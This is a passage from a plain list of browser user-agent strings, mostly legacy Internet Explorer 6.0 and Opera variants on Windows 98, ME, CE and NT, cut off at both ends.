(compatible; MSIE 6.0; Windows 98) Opera 7.54u1  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) REL Software Web Link Validator 2.x)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Web Link Validator 2.x)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Advanced Searchbar 3.25)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FDM; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts-MyTotalSearch)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts-MyWay)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5); MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5); SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; YPC 3.2.0; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.1.8.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.1.1198)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.11.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.8.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.8.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.2.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.4.6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Net M@nager V3.02 - www.vinn.com.au)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.1.4322; Lunascape 4.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; Hotbar 4.3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.2.6; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Rogers Hi-Speed Internet)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; SEARCHALOT.COM; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; SiteKiosk 4.9)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; SiteKiosk 4.9; SiteCoach 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Q312461; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; Wanadoo 5.5; Wanadoo 6.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; YComp 5.0.0.0; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.6; Wanadoo 5.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.1; Wanadoo 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 7.1; Hotbar 4.2.6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Avant Browser [avantbrowser.com])\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Avant Browser; Avant Browser; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; Hotbar 4.2.14.0; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; HbTools 4.8.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.2.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.3.5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.4.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MEGAUPLOAD 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 6.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; YPC 3.0.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Rogers Hi-Speed Internet)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.5; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.5; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 6.1; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.0.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.4; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.1.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; http://www.Abolimba.de)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x4.90)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.5; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.0.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 5.3.01b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; de) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; de) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 10.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; i-NavFourF; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; pl) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; ru)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; support@illumit.com; http://www.illumit.com/Products/weblight/)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; www.direktanlagebank.com)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE) Opera\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE) Opera 8.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) XV6800\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC) Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.60 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.60 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [nl]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [zh-cn]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320) Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320)Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; Sprint:PPC-6700) Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.53  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME; de) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME; en) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME; pl) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows ME; pl) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.10  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.11  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.23  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; DigExt)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; DigExt; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.2.11.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.10  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11  [fr]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.20  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23  [ca]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.50  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.50  [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.51  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.52  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54  [pl]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) SEOChat::Bot v1.1\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Sleipnir/2.49\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Sleipnir/2.8.1\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 